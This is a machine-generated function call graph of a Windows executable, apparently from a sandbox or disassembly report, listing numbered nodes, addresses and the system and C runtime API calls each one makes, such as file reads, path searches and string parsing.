19183->19184 19188 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 19184->19188 19186 d19abf _vsnwprintf 19186->19192 19187 d2bc11 19193 d2bd10 19187->19193 19196 d2bcd0 memmove 19187->19196 19192->19186 19195 d2bdbf 19192->19195 19251 d1998d 19192->19251 19196->19187 19198 d19acd 19197->19198 19199 d19aee 19198->19199 19287 d19afb _vsnwprintf 19198->19287 19199->19151 19202 d16b0c 19201->19202 19203 d1688f GetSystemTime SystemTimeToFileTime FileTimeToLocalFileTime FileTimeToSystemTime 19201->19203 19205 d348d7 6 API calls 19202->19205 19204 d168ec 19203->19204 19213 d2a562 19203->19213 19206 d18791 GetUserDefaultLCID 19204->19206 19207 d2a4c2 19205->19207 19208 d16906 GetLocaleInfoW 19206->19208 19207->19167 19230 d16915 19208->19230 19209 d2a5f9 19214 d19abf _vsnwprintf 19209->19214 19210 d2a5df realloc 19210->19209 19210->19213 19211 d16966 19212 d18791 GetUserDefaultLCID 19211->19212 19215 d1698e GetDateFormatW 19212->19215 19213->19209 19213->19210 19219 d178e4 434 API calls 19213->19219 19218 d2a62a 19214->19218 19216 d16a96 19215->19216 19217 d1699d 19215->19217 19220 d18791 GetUserDefaultLCID 19216->19220 19217->19216 19226 d169ab 19217->19226 19222 d2a63e 19218->19222 19232 d2a64d 19218->19232 19219->19213 19227 d19950 434 API calls 19222->19227 19226->19218 19235 d2a649 19227->19235 19229 d2a523 memmove 19229->19230 19230->19211 19230->19229 19230->19230 19233 d16a75 memmove 19230->19233 19236 d19950 434 API calls 19232->19236 19233->19230 19236->19235 19289 d26b40 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 19240->19289 19242 d1ed88 19242->19160 19244 d348f0 GetSystemTime 19243->19244 19245 d348fc 19243->19245 19246 d3493b SystemTimeToFileTime 19244->19246 19245->19246 19247 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 19246->19247 19248 d2bbc7 19247->19248 19248->19167 19250 d187a5 GetLocaleInfoW 19249->19250 19250->19187 19252 d199a0 19251->19252 19274 d199d0 19251->19274 19253 d19a11 6 API calls 19252->19253 19274->19192 19288 d19b1f 19287->19288 19288->19199 19289->19242 19291 d1a9a2 SetEnvironmentVariableW GetProcessHeap RtlFreeHeap 19290->19291 19292 d1a986 19290->19292 19293 d1a9d4 5 API calls 19291->19293 19292->19291 19292->19292 19294 d1a9c5 19293->19294 19294->18790 20236 d1a8e6 20235->20236 20237 d1cc70 549 API calls 20236->20237 20238 d1a8f8 20237->20238 20239 d280ba longjmp 20238->20239 20240 d1a90c 20238->20240 20241 d280c8 20239->20241 20281 d1bab0 20240->20281 20294 d1d660 EnterCriticalSection LeaveCriticalSection 20241->20294 20244 d1a911 20244->18603 20245 d280cd 20245->18603 20247 d1cc7a 20246->20247 20248 d1cf10 548 API calls 20247->20248 20249 d1cc8a 20248->20249 20250 d2d434 longjmp 20249->20250 20251 d1cc9b 20249->20251 20250->20251 20252 d19950 448 API calls 20251->20252 20254 d1ccc4 20251->20254 20253 d2d45b 20252->20253 20254->18609 20256 d38996 20255->20256 20257 d3898e 20255->20257 20258 d389a2 20256->20258 20259 d389b2 20256->20259 20260 d389db 20257->20260 20261 d389ce longjmp 20257->20261 20262 d178e4 448 API calls 20258->20262 20259->20257 20263 d178e4 448 API calls 20259->20263 20260->18604 20261->20260 20262->20257 20263->20257 20276 d387a0 20264->20276 20265 d3892e 20265->18607 20266 d19950 448 API calls 20266->20276 20267 d38900 20269 d19950 448 API calls 20267->20269 20268 d38930 20271 d19950 448 API calls 20268->20271 20273 d3890f 20269->20273 20270 d388be 20270->20267 20275 d388c3 20270->20275 20271->20265 20274 d38925 20273->20274 20277 d19950 448 API calls 20273->20277 20846 d3871d 20274->20846 20275->20268 20279 d388d2 20275->20279 20276->20265 20276->20266 20276->20267 20276->20268 20276->20270 20276->20279 20280 d38791 448 API calls 20276->20280 20277->20274 20853 d386e6 20279->20853 20280->20276 20282 d1bb19 20281->20282 20293 d1bac2 20281->20293 20289 d1cc70 549 API calls 20282->20289 20291 d1bb48 20282->20291 20282->20293 20283 d1baf3 20286 d1bb56 20283->20286 20379 d1ccd0 20283->20379 20285 d1badc _wcsicmp 20285->20283 20290 d1bb68 20285->20290 20286->20244 20287 d1bb15 20287->20244 20288 d1cc70 549 API calls 20288->20290 20289->20282 20290->20283 20290->20288 20291->20286 20292 d1cc70 549 API calls 20291->20292 20292->20293 20293->20283 20293->20285 20296 d1d6b0 20294->20296 20295 d2d587 20298 d2d59b 20295->20298 20302 d163bd 448 API calls 20295->20302 20296->20295 20297 d1d6c6 EnterCriticalSection LeaveCriticalSection 20296->20297 20301 d1d971 20296->20301 20299 d1d6f5 _get_osfhandle SetFilePointer AcquireSRWLockShared ReadFile ReleaseSRWLockShared 20297->20299 20300 d2d5a8 20297->20300 20689 d3769e 20298->20689 20306 d1d752 20299->20306 20722 d39fcf _get_osfhandle GetFileType 20300->20722 20667 d1da30 20301->20667 20302->20298 20309 d1d81c 20306->20309 20312 d2d742 memcmp 20306->20312 20318 d1d774 20306->20318 20307 d2d5be 20310 d2d6bd 20307->20310 20311 d1dd98 6 API calls 20307->20311 20308 d1d980 20308->20245 20314 d1d9f7 GetLastError 20309->20314 20325 d1d82c 20309->20325 20310->20306 20313 d2d6c6 _get_osfhandle 20310->20313 20319 d2d6ef GetLastError 20310->20319 20310->20325 20315 d2d5cd 20311->20315 20312->20318 20316 d345f9 10 API calls 20313->20316 20314->20325 20315->20310 20317 d2d5de 20315->20317 20316->20310 20317->20299 20326 d1dd98 6 API calls 20317->20326 20320 d1d7b2 20318->20320 20321 d2d78e AcquireSRWLockShared ReadFile ReleaseSRWLockShared 20318->20321 20327 d1d7bd SetFilePointer 20318->20327 20319->20306 20319->20310 20323 d2d7e9 20320->20323 20324 d1d7ec MultiByteToWideChar 20320->20324 20328 d1d809 20320->20328 20321->20320 20321->20328 20330 d2d7f0 EnterCriticalSection LeaveCriticalSection longjmp 20323->20330 20324->20328 20333 d1dd98 6 API calls 20325->20333 20349 d1d840 20325->20349 20329 d2d5f2 20326->20329 20327->20320 20328->20309 20328->20330 20331 d2d6b3 20329->20331 20334 d2d607 20329->20334 20330->20325 20331->20299 20332 d1d893 20332->20245 20335 d2d826 20333->20335 20336 d2d610 20334->20336 20337 d2d61f EnterCriticalSection LeaveCriticalSection _get_osfhandle 20334->20337 20341 d39922 448 API calls 20335->20341 20335->20349 20723 d37613 _get_osfhandle 20336->20723 20338 d34191 448 API calls 20337->20338 20340 d2d665 20338->20340 20340->20314 20343 d2d66d 20340->20343 20342 d2d84f longjmp 20341->20342 20342->20349 20343->20325 20344 d2d677 GetLastError 20343->20344 20347 d2d689 20344->20347 20348 d2d69e 20344->20348 20345 d1d8d7 wcschr 20346 d1d8f6 20345->20346 20345->20349 20353 d1d9e3 20346->20353 20355 d1d904 20346->20355 20350 d19950 448 API calls 20347->20350 20351 d19950 448 API calls 20348->20351 20349->20332 20349->20345 20349->20346 20354 d2d68e longjmp 20350->20354 20351->20325 20352 d2d908 20352->20245 20353->20301 20360 d1d9eb 20353->20360 20354->20348 20355->20352 20357 d1dd98 6 API calls 20355->20357 20356 d2d8d3 20358 d178e4 448 API calls 20356->20358 20361 d1d945 20357->20361 20362 d2d8df 20358->20362 20359 d2d8af 20364 d178e4 448 API calls 20359->20364 20360->20356 20360->20359 20363 d3769e 459 API calls 20360->20363 20361->20301 20365 d1d949 _get_osfhandle SetFilePointer 20361->20365 20367 d2d8fb longjmp 20362->20367 20370 d1dd98 6 API calls 20362->20370 20368 d2d898 20363->20368 20366 d2d8be 20364->20366 20365->20301 20375 d2d915 20365->20375 20369 d39922 448 API calls 20366->20369 20367->20352 20371 d19950 448 API calls 20368->20371 20372 d2d8c6 longjmp 20369->20372 20373 d2d8f2 20370->20373 20374 d2d8a2 20371->20374 20372->20356 20373->20367 20728 d3a0da 20373->20728 20376 d19950 448 API calls 20374->20376 20375->20301 20377 d1998d 448 API calls 20375->20377 20376->20359 20377->20301 20380 d1cd14 20379->20380 20381 d1cce9 20379->20381 20422 d1de30 20380->20422 20382 d1ccf5 20381->20382 20383 d1cde8 20381->20383 20385 d1cd01 20382->20385 20386 d1cdf2 20382->20386 20493 d1e090 20383->20493 20388 d1cd12 20385->20388 20419 d1e230 20385->20419 20496 d1e210 20386->20496 20389 d1cddd 20388->20389 20438 d1cf10 _setjmp3 20388->20438 20389->20287 20393 d1cd48 20394 d1cd59 20393->20394 20395 d2d478 longjmp 20393->20395 20396 d2d48f 20394->20396 20409 d1cd85 20394->20409 20395->20396 20397 d19950 448 API calls 20396->20397 20398 d2d49f 20397->20398 20399 d39922 448 API calls 20398->20399 20400 d2d4ac longjmp 20399->20400 20402 d2d4ba 20400->20402 20401 d1ce4a 20406 d1cc70 549 API calls 20401->20406 20411 d1ce61 20401->20411 20415 d1ce6c 20401->20415 20404 d19950 448 API calls 20402->20404 20403 d1cdd2 20405 d1cf10 548 API calls 20403->20405 20408 d2d4ca 20404->20408 20405->20389 20406->20401 20407 d1dcd0 448 API calls 20410 d1ce89 20407->20410 20408->20287 20409->20401 20409->20403 20410->20398 20412 d1ce93 20410->20412 20413 d1cf10 548 API calls 20411->20413 20414 d1cc70 549 API calls 20412->20414 20413->20415 20416 d1ceac 20414->20416 20415->20389 20415->20407 20417 d1bab0 575 API calls 20416->20417 20418 d1cec6 20416->20418 20417->20418 20418->20287 20420 d1ccd0 577 API calls 20419->20420 20421 d1e247 20420->20421 20421->20388 20499 d1ded0 20422->20499 20424 d1de4a 20425 d1de52 20424->20425 20426 d2da16 20424->20426 20517 d1e0b0 20425->20517 20427 d1cc70 549 API calls 20426->20427 20431 d1de57 20427->20431 20429 d1de64 20430 d1cc70 549 API calls 20429->20430 20437 d1de92 20429->20437 20432 d1de75 20430->20432 20431->20429 20434 d38959 449 API calls 20431->20434 20433 d1ded0 555 API calls 20432->20433 20435 d1de80 20433->20435 20434->20429 20436 d1cf10 548 API calls 20435->20436 20435->20437 20436->20437 20437->20388 20439 d2d56e 20438->20439 20444 d1cf38 20438->20444 20440 d1d03b 20441 d1d048 20440->20441 20442 d19950 448 API calls 20440->20442 20441->20393 20446 d2d4ca 20442->20446 20443 d1cf9e 20447 d1d600 533 API calls 20443->20447 20444->20439 20444->20440 20444->20443 20451 d1cf86 wcschr 20444->20451 20481 d1d0fa 20444->20481 20662 d1d600 20444->20662 20446->20393 20449 d1cfb7 20447->20449 20448 d1cf67 iswspace 20448->20444 20450 d2d4d2 20449->20450 20453 d1cfc7 20449->20453 20452 d1d600 533 API calls 20450->20452 20450->20481 20451->20443 20451->20444 20454 d2d4ea 20452->20454 20455 d1cfe2 iswdigit 20453->20455 20459 d1d0a6 20453->20459 20462 d1d4a7 20453->20462 20453->20481 20467 d1d600 533 API calls 20454->20467 20458 d1cfff 20455->20458 20483 d1d341 20455->20483 20456 d1d218 20456->20393 20457 d1d600 533 API calls 20457->20481 20468 d1d600 533 API calls 20458->20468 20474 d1d027 20458->20474 20463 d1d0b5 iswspace 20459->20463 20464 d1d0e8 iswdigit 20459->20464 20459->20483 20460 d1d600 533 API calls 20460->20483 20461 d1d190 20461->20456 20466 d178e4 448 API calls 20461->20466 20465 d1d600 533 API calls 20462->20465 20463->20455 20469 d1d0c7 20463->20469 20470 d1d310 20464->20470 20464->20481 20472 d1d4ac 20465->20472 20466->20439 20467->20483 20471 d1d2a5 20468->20471 20473 d1d0d0 wcschr 20469->20473 20469->20481 20475 d1d328 iswspace 20470->20475 20470->20483 20478 d1d600 533 API calls 20471->20478 20484 d1d2ae 20471->20484 20472->20440 20472->20454 20472->20455 20472->20481 20473->20455 20473->20464 20474->20393 20479 d1d484 20475->20479 20475->20483 20476 d1d1b4 iswspace 20476->20461 20476->20481 20477 d1d16d iswdigit 20477->20481 20478->20484 20480 d1a62f wcschr 20479->20480 20480->20483 20481->20457 20481->20458 20481->20461 20481->20476 20481->20477 20482 d1d23e iswspace 20481->20482 20486 d1d1d1 wcschr 20481->20486 20482->20481 20485 d1d253 wcschr 20482->20485 20483->20455 20483->20460 20483->20481 20484->20474 20487 d1d600 533 API calls 20484->20487 20489 d1a62f wcschr 20484->20489 20490 d1d426 iswdigit 20484->20490 20485->20481 20486->20461 20486->20477 20488 d1d405 iswspace 20487->20488 20488->20484 20489->20484 20490->20474 20491 d1d438 20490->20491 20492 d1d600 533 API calls 20491->20492 20492->20474 20494 d1ccd0 577 API calls 20493->20494 20495 d1e0a7 20494->20495 20495->20388 20497 d1ccd0 577 API calls 20496->20497 20498 d1e227 20497->20498 20498->20388 20507 d1df00 20499->20507 20500 d1df16 iswdigit 20502 d1df27 20500->20502 20500->20507 20501 d1dcd0 448 API calls 20501->20507 20503 d1df2f 20502->20503 20506 d1cf10 548 API calls 20502->20506 20503->20424 20504 d1df63 iswdigit 20504->20507 20505 d2daf9 longjmp 20509 d1e26b 20505->20509 20506->20503 20507->20500 20507->20501 20507->20502 20507->20504 20507->20505 20508 d2daec 20507->20508 20513 d1e059 iswdigit 20507->20513 20514 d38959 449 API calls 20507->20514 20515 d1acb0 448 API calls 20507->20515 20516 d1cc70 549 API calls 20507->20516 20589 d1a931 20507->20589 20510 d38959 449 API calls 20508->20510 20509->20424 20512 d2daf1 20510->20512 20512->20505 20513->20507 20514->20507 20515->20507 20516->20507 20518 d1e0c1 _wcsicmp 20517->20518 20519 d1e15b 20517->20519 20520 d1e203 _wcsicmp 20518->20520 20521 d1e0dc _wcsicmp 20518->20521 20522 d1dcd0 448 API calls 20519->20522 20523 d1e1db 20519->20523 20529 d22a35 20520->20529 20564 d22a63 20520->20564 20521->20520 20524 d1e0f7 _wcsicmp 20521->20524 20526 d1e17d 20522->20526 20527 d38959 449 API calls 20523->20527 20546 d1e1e0 20523->20546 20524->20519 20528 d1e112 _wcsicmp 20524->20528 20530 d29ca7 20526->20530 20544 d1e187 20526->20544 20531 d1e1f5 20527->20531 20528->20519 20532 d1e12d _wcsicmp 20528->20532 20606 d1bb90 20529->20606 20536 d39922 448 API calls 20530->20536 20531->20431 20532->20519 20537 d1e144 _wcsicmp 20532->20537 20534 d22a47 20539 d1cc70 549 API calls 20534->20539 20534->20564 20535 d1e1bf 20541 d1a8c4 563 API calls 20535->20541 20538 d29cac longjmp 20536->20538 20537->20519 20557 d15e22 20538->20557 20543 d22a5b 20539->20543 20540 d1cc70 549 API calls 20540->20544 20542 d1e1c9 20541->20542 20542->20546 20550 d1cc70 549 API calls 20542->20550 20621 d19907 20543->20621 20544->20535 20544->20540 20548 d1e1b4 20544->20548 20545 d15e1d 20545->20431 20546->20431 20551 d1cf10 548 API calls 20548->20551 20549 d15da6 448 API calls 20549->20557 20550->20523 20551->20535 20552 d18f21 448 API calls 20552->20557 20553 d22a7c _wcsicmp 20554 d22a92 _wcsicmp 20553->20554 20553->20564 20558 d22aa8 _wcsicmp 20554->20558 20554->20564 20555 d2f500 20559 d38959 449 API calls 20555->20559 20556 d22af4 iswspace 20556->20555 20560 d22b0b 20556->20560 20557->20545 20557->20549 20557->20552 20561 d15e61 20557->20561 20558->20564 20565 d22abe _wcsicmp 20558->20565 20587 d22b81 20559->20587 20562 d1a62f wcschr 20560->20562 20563 d38c50 448 API calls 20561->20563 20568 d22b1f 20562->20568 20576 d15e68 20563->20576 20564->20553 20566 d1dcd0 448 API calls 20564->20566 20567 d1cc70 549 API calls 20564->20567 20569 d2f4d2 20564->20569 20577 d38959 449 API calls 20564->20577 20581 d22ae4 20564->20581 20565->20564 20578 d22ad7 20565->20578 20566->20564 20567->20564 20568->20555 20571 d22b34 20568->20571 20570 d39922 448 API calls 20569->20570 20573 d2f4d7 longjmp 20570->20573 20628 d22c23 20571->20628 20572 d38959 449 API calls 20574 d2f50f 20572->20574 20573->20578 20574->20574 20576->20431 20577->20564 20580 d38959 449 API calls 20578->20580 20578->20581 20579 d22b4b 20632 d233ca 20579->20632 20580->20581 20581->20555 20581->20556 20587->20572 20588 d22b8c 20587->20588 20588->20431 20590 d1cc70 549 API calls 20589->20590 20591 d1a93b 20590->20591 20592 d1a942 20591->20592 20594 d38959 449 API calls 20591->20594 20593 d1dcd0 448 API calls 20592->20593 20595 d1a94f 20592->20595 20593->20595 20594->20592 20596 d39922 448 API calls 20595->20596 20597 d1a959 20595->20597 20598 d29cac longjmp 20596->20598 20597->20507 20602 d15e22 20598->20602 20599 d15e1d 20599->20507 20600 d15da6 448 API calls 20600->20602 20601 d18f21 448 API calls 20601->20602 20602->20599 20602->20600 20602->20601 20603 d15e61 20602->20603 20604 d38c50 448 API calls 20603->20604 20605 d15e68 20604->20605 20605->20507 20607 d1dcd0 448 API calls 20606->20607 20608 d1bba1 20607->20608 20609 d1dcd0 448 API calls 20608->20609 20612 d1bbc1 20608->20612 20609->20612 20610 d39922 448 API calls 20611 d29cac longjmp 20610->20611 20617 d15e22 20611->20617 20612->20610 20615 d1bbde 20612->20615 20613 d15e1d 20613->20534 20614 d15da6 448 API calls 20614->20617 20615->20534 20616 d18f21 448 API calls 20616->20617 20617->20613 20617->20614 20617->20616 20618 d15e61 20617->20618 20619 d38c50 448 API calls 20618->20619 20620 d15e68 20619->20620 20620->20534 20622 d1bc30 448 API calls 20621->20622 20623 d19938 20622->20623 20652 d1a800 20623->20652 20626 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20627 d1994e 20626->20627 20627->20564 20629 d1cc70 549 API calls 20628->20629 20630 d22c2f _wcsicmp 20629->20630 20631 d22c41 20630->20631 20631->20579 20633 d1cc70 549 API calls 20632->20633 20634 d233e2 20633->20634 20635 d2f776 20634->20635 20643 d233eb 20634->20643 20636 d38959 449 API calls 20635->20636 20638 d2f77b 20636->20638 20637 d1cc70 549 API calls 20637->20643 20640 d23457 20643->20637 20643->20638 20643->20640 20644 d1dd20 448 API calls 20643->20644 20645 d1dcd0 448 API calls 20643->20645 20646 d2f78c 20643->20646 20644->20643 20645->20643 20653 d19943 20652->20653 20654 d1a82f 20652->20654 20653->20626 20654->20653 20655 d39a0e 449 API calls 20654->20655 20656 d2c971 20655->20656 20656->20653 20657 d163bd 448 API calls 20656->20657 20663 d1d613 20662->20663 20664 d1d660 533 API calls 20663->20664 20665 d1d627 20663->20665 20666 d280cd 20664->20666 20665->20448 20666->20448 20668 d1dcd0 448 API calls 20667->20668 20669 d1da45 20668->20669 20670 d2d948 memset longjmp 20669->20670 20684 d1da52 20669->20684 20671 d1da81 20670->20671 20671->20308 20672 d1dad3 20673 d1daf1 20672->20673 20674 d2d9ad 20672->20674 20675 d1dc60 2 API calls 20673->20675 20676 d178e4 448 API calls 20674->20676 20677 d1daf6 20675->20677 20678 d2d9a8 20676->20678 20677->20308 20681 d1dc60 2 API calls 20678->20681 20682 d2d9cc longjmp 20681->20682 20683 d2d9da 20682->20683 20685 d178e4 448 API calls 20683->20685 20684->20671 20684->20672 20684->20674 20687 d2d97b memcpy 20684->20687 20736 d1ee03 20684->20736 20787 d1bf70 20684->20787 20686 d2d9e3 20685->20686 20686->20308 20688 d178e4 448 API calls 20687->20688 20688->20678 20690 d37728 20689->20690 20691 d376fd 20689->20691 20693 d37d26 20690->20693 20696 d37746 20690->20696 20698 d19950 448 API calls 20690->20698 20692 d163bd 448 API calls 20691->20692 20695 d37708 EnterCriticalSection LeaveCriticalSection 20692->20695 20694 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20693->20694 20697 d37d3d 20694->20697 20695->20690 20699 d1ec2e 448 API calls 20696->20699 20701 d37750 20696->20701 20697->20300 20698->20696 20699->20701 20700 d18e9e 448 API calls 20702 d377ad 20700->20702 20701->20700 20841 d37654 20702->20841 20705 d37c99 20706 d19abf _vsnwprintf 20705->20706 20707 d37cba 20706->20707 20709 d1998d 448 API calls 20707->20709 20708 d378b8 towupper 20718 d377fa 20708->20718 20710 d37cfe 20709->20710 20710->20693 20711 d37d07 EnterCriticalSection LeaveCriticalSection 20710->20711 20711->20693 20712 d14d08 5 API calls 20712->20718 20713 d19310 448 API calls 20713->20718 20714 d16854 448 API calls 20714->20718 20715 d19abf _vsnwprintf 20715->20718 20716 d37afc GetDriveTypeW 20716->20718 20718->20707 20718->20708 20718->20712 20718->20713 20718->20714 20718->20715 20718->20716 20719 d272ef ApiSetQueryApiSetPresence 20718->20719 20720 d19abf _vsnwprintf 20718->20720 20845 d2640a FormatMessageW 20718->20845 20719->20718 20721 d379ed LocalFree 20720->20721 20721->20718 20722->20307 20724 d34799 448 API calls 20723->20724 20725 d3763c 20724->20725 20726 d37649 GetLastError 20725->20726 20727 d37645 20725->20727 20726->20727 20727->20325 20729 d3a0ef GetStdHandle 20728->20729 20730 d34799 448 API calls 20729->20730 20731 d3a110 20730->20731 20732 d3a114 wcschr 20731->20732 20733 d3a129 20731->20733 20732->20729 20732->20733 20734 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20733->20734 20735 d3a133 20734->20735 20735->20367 20737 d1ee52 20736->20737 20738 d1ee4c 20736->20738 20740 d1ee68 20737->20740 20741 d1ee5a wcsrchr 20737->20741 20738->20737 20739 d1eea7 20738->20739 20742 d2de31 20739->20742 20743 d21a05 5 API calls 20739->20743 20745 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20740->20745 20741->20740 20744 d2de3f 20742->20744 20747 d2df50 longjmp 20742->20747 20748 d2de49 ??_V@YAXPAX 20742->20748 20758 d1eed8 20743->20758 20744->20740 20744->20748 20746 d1ee88 20745->20746 20746->20684 20747->20742 20748->20740 20749 d1ef09 towlower wcsrchr 20753 d1f1dd wcsrchr 20749->20753 20749->20758 20750 d1ef50 wcsrchr 20754 d1ef67 wcsrchr 20750->20754 20750->20758 20751 d2de80 wcschr 20752 d2de9e 20751->20752 20756 d2df01 20751->20756 20757 d1dcd0 448 API calls 20752->20757 20755 d1f1f7 towlower 20753->20755 20753->20758 20754->20756 20754->20758 20755->20758 20756->20748 20759 d178e4 448 API calls 20756->20759 20762 d2deb5 20757->20762 20758->20742 20758->20748 20758->20749 20758->20750 20758->20751 20758->20756 20760 d1acb0 448 API calls 20758->20760 20763 d1efe6 20758->20763 20766 d1f009 GetFullPathNameW 20758->20766 20768 d2df72 SearchPathW 20758->20768 20769 d1efed 20758->20769 20771 d20207 10 API calls 20758->20771 20773 d2dfb9 wcsrchr 20758->20773 20774 d1f067 memset 20758->20774 20776 d2dff6 GetFileAttributesExW 20758->20776 20777 d1f18a 20758->20777 20778 d2e07c FileTimeToSystemTime 20758->20778 20783 d16854 448 API calls 20758->20783 20785 d1f164 wcsrchr 20758->20785 20786 d19310 448 API calls 20758->20786 20823 d3b325 20758->20823 20759->20742 20760->20758 20761 d1efef ??_V@YAXPAX 20761->20740 20762->20742 20810 d21d90 20762->20810 20765 d1acb0 448 API calls 20763->20765 20765->20769 20766->20758 20768->20758 20769->20740 20769->20761 20770 d1dc60 2 API calls 20770->20756 20772 d1f03d wcsrchr 20771->20772 20772->20758 20772->20773 20773->20758 20775 d1e3f0 17 API calls 20774->20775 20775->20758 20776->20758 20779 d1acb0 448 API calls 20777->20779 20781 d2e271 20777->20781 20778->20758 20780 d1f1ba 20779->20780 20780->20769 20782 d1f1c8 ??_V@YAXPAX 20780->20782 20782->20769 20783->20758 20785->20758 20785->20781 20786->20758 20788 d1dcd0 448 API calls 20787->20788 20791 d1bfc8 20788->20791 20789 d2cfad longjmp 20798 d1c02c 20789->20798 20790 d2cfc1 longjmp 20790->20798 20792 d1dcd0 448 API calls 20791->20792 20791->20798 20807 d1c155 20791->20807 20792->20798 20793 d1ec2e 448 API calls 20793->20798 20796 d1c1ef wcstol 20796->20798 20797 d1c111 20801 d2d029 20797->20801 20797->20807 20798->20789 20798->20790 20798->20793 20798->20796 20798->20797 20805 d1c26d 20798->20805 20798->20807 20809 d1c0bf 20798->20809 20799 d2d042 memcpy 20804 d2d063 20799->20804 20800 d1c333 memcpy 20802 d1c1b2 _wcsnicmp 20800->20802 20803 d178e4 448 API calls 20801->20803 20802->20807 20806 d2d036 longjmp 20803->20806 20805->20807 20808 d1c27d wcstol 20805->20808 20806->20799 20807->20799 20807->20800 20807->20802 20807->20809 20808->20807 20836 d1c3f4 20809->20836 20811 d21da8 20810->20811 20821 d21e5a 20810->20821 20811->20821 20831 d1ab7f 20811->20831 20814 d1acb0 448 API calls 20815 d21dc2 20814->20815 20816 d201f5 wcsrchr 20815->20816 20822 d21dd1 20816->20822 20817 d2f106 20818 d21e4a 20819 d1dc60 2 API calls 20818->20819 20819->20821 20820 d21e11 _wcsnicmp 20820->20822 20821->20770 20822->20817 20822->20818 20822->20820 20822->20822 20826 d3b35b __aulldvrm 20823->20826 20824 d3b42e 20825 d3b445 wcsncmp 20824->20825 20828 d3b432 20824->20828 20825->20828 20826->20824 20827 d3b3f4 memmove 20826->20827 20827->20826 20829 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20828->20829 20830 d3b4f8 20829->20830 20830->20758 20832 d1ab88 20831->20832 20835 d1abaa 20831->20835 20833 d1ab89 iswspace 20832->20833 20834 d1ab98 wcschr 20832->20834 20832->20835 20833->20832 20833->20834 20834->20832 20834->20835 20835->20814 20837 d1dc60 2 API calls 20836->20837 20838 d1c3fb 20837->20838 20839 d1dc60 2 API calls 20838->20839 20840 d1c0df 20839->20840 20840->20684 20842 d37660 20841->20842 20843 d37679 20841->20843 20844 d26e25 4 API calls 20842->20844 20843->20693 20843->20705 20843->20718 20844->20843 20845->20718 20847 d38727 20846->20847 20852 d38781 20846->20852 20848 d1998d 448 API calls 20847->20848 20851 d38736 20848->20851 20849 d19950 448 API calls 20849->20851 20850 d1998d 448 API calls 20850->20851 20851->20849 20851->20850 20851->20852 20854 d19950 448 API calls 20853->20854 20855 d386f9 20854->20855 20856 d3871d 448 API calls 20855->20856 20857 d38702 20856->20857 20858 d38791 448 API calls 20857->20858 20859 d3870d 20858->20859 20860 d38791 448 API calls 20859->20860 20861 d38718 20860->20861 20861->20265 20863 d1adc6 20862->20863 20870 d2cc3f 20862->20870 20864 d25a2e memset 20863->20864 20866 d1add1 20864->20866 20865 d2cc6a GetLastError 20865->20870 20867 d1e3f0 17 API calls 20866->20867 20866->20870 20869 d1adef 20867->20869 20868 d178e4 448 API calls 20868->20870 20869->20870 20871 d1ae05 20869->20871 20872 d1b0b9 20869->20872 20870->20865 20870->20868 20873 d261e6 ??_V@YAXPAX 20870->20873 21113 d1e950 memset 20871->21113 20875 d20b12 5 API calls 20872->20875 20873->20870 20877 d1b0c1 20875->20877 20877->20870 21242 d17f47 memset 20877->21242 20878 d1ae23 20878->20870 20883 d2cc7c 20878->20883 20888 d1ae44 20878->20888 20879 d1b118 21256 d221ee 20879->21256 20882 d1b11f 21260 d22940 20882->21260 20885 d261e6 ??_V@YAXPAX 20883->20885 20904 d1aea1 20885->20904 20886 d1b0dc towupper 20887 d1b100 20886->20887 20887->20879 20887->20887 20891 d2cc75 20887->20891 20890 d1bc30 448 API calls 20888->20890 20888->20904 20893 d1ae86 20890->20893 20894 d39a7d 448 API calls 20891->20894 20892 d1afc2 21170 d1b17b 20892->21170 20895 d1ae91 20893->20895 20897 d1b00e wcsncmp 20893->20897 20894->20883 20899 d1a800 449 API calls 20895->20899 20895->20904 20897->20895 20897->20904 20899->20904 20900 d1af6b 21142 d1b1b0 20900->21142 20901 d261e6 ??_V@YAXPAX 20903 d1afe8 20901->20903 20906 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20903->20906 20904->20870 20904->20900 20904->20904 20908 d1aecb wcschr 20904->20908 20917 d1b13b 20904->20917 20918 d1b176 20904->20918 20910 d1b002 20906->20910 20907 d20b12 5 API calls 20907->20917 20908->20904 20927 d1b033 20908->20927 20909 d1af83 20911 d1afc4 20909->20911 20912 d1af99 20909->20912 20910->18644 21164 d1aa50 20911->21164 20914 d1afa5 20912->20914 20915 d1b02c 20912->20915 20919 d1afb1 20914->20919 20920 d1b085 20914->20920 21174 d1c6c0 20915->21174 20917->20904 20917->20907 20917->20918 20928 d17f47 23 API calls 20917->20928 20932 d2ccc9 GetLastError 20917->20932 20922 d178e4 448 API calls 20918->20922 20924 d1b0a2 20919->20924 20925 d1afbd 20919->20925 21227 d19dc0 20920->21227 20922->20870 20924->20882 20929 d1b0aa 20924->20929 21161 d19770 20925->21161 20926 d1b031 20926->20892 20927->20920 20931 d1b193 20927->20931 20928->20917 21146 d159a0 20929->21146 20933 d26c78 4 API calls 20931->20933 20932->20918 20933->20918 20936 d1e683 20935->20936 20937 d1e6c6 20935->20937 20936->20937 20938 d1e689 20936->20938 20941 d1e71d 20936->20941 20943 d1e6ec 20936->20943 20947 d1e733 20936->20947 20937->18613 22107 d1e790 20938->22107 20944 d1e790 457 API calls 20941->20944 20942 d1e790 457 API calls 20948 d1e6ad 20942->20948 20943->20937 20946 d1e790 457 API calls 20943->20946 20944->20947 20945 d1e790 457 API calls 20945->20937 20946->20943 20947->20937 20947->20945 20948->20937 20949 d1e790 457 API calls 20948->20949 20949->20948 20951 d203cb 20950->20951 20952 d203e1 20951->20952 20955 d2e7bf iswdigit 20951->20955 20953 d203f3 20952->20953 20954 d20416 20952->20954 22121 d215f0 20953->22121 20959 d203f8 20954->20959 22125 d22960 wcstol wcstol 20954->22125 20955->20951 20957 d2e7e2 20955->20957 